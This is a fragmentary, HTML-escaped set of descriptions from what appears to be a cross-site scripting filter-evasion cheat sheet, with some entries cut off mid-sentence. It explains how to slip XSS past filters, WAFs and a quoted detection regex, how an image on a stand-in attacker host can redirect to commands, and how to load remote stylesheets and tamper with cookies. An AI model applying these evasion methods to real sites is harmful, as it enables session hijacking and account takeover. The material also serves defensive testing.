                <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.  You&apos;ll need to replace the &quot;&amp;&quot; with &quot;%26&quot; if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable.  Tip: If you&apos;re in a rush and need to quickly check a page, often times injecting the deprecated &quot;&lt;PLAINTEXT&gt;&quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc>

Also, this relies on the fact that the website uses dynamically placed images like &quot;images/image.jpg&quot; rather than full paths.  If the path includes a leading forward slash like &quot;/images/image.jpg&quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc>

The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC=&quot;http://badguy.com/a.jpg&quot;&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc>

This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself.  This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion.  Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc>

A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html.  As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it.  This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc>

The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc>

There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim&apos;s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc>

Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc>

The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.  For example &quot;&lt;SCRIPT\s&quot; != &quot;&lt;SCRIPT/XSS\s&quot;</desc>

This is useful as a vector because it doesn&apos;t require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &gt; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
        /((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|>)/
As a side note, this was also effective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag.</desc>

                <desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it&apos;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&apos;t</desc>

                <desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/).  This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course).  The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc>

I assume this was originally meant to correct sloppy coding.  This would make it significantly more difficult to correctly parse apart an HTML tag.</desc>

-onBegin() (fires immediately when the element&apos;s timeline begins)

-onBlur() (in the case where another popup is loaded and window loses focus)

-onBounce() (fires when the behavior property of the marquee object is set to &quot;alternate&quot; and the contents of the marquee reach one side of the window)

-onDataSetComplete() (fires to indicate that all data is available from the data source object)

-onDblClick() (fires when user double-clicks a form element or a link)

-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)

-onDrag() (requires that the user drags an object)

-onDragEnd() (requires that the user drags an object)

-onDragLeave() (requires that the user drags an object off a valid location)

-onDragEnter() (requires that the user drags an object into a valid location)

-onDragOver() (requires that the user drags an object into a valid location)

-onDragDrop() (user drops an object (e.g. file) onto the browser window)

Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &quot;(ht|f)tp(s)?://&quot; (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the &quot;//&quot; to &quot;\\&quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.</desc>

                <desc>Firefox uses Google&apos;s &quot;feeling lucky&quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox&apos;s &quot;keyword:&quot; protocol. You can concatenate several keywords by using something like the following &quot;keyword:XSS+RSnake&quot;</desc>

Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not.  It&apos;s simply a malformed URL.  If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.</desc>
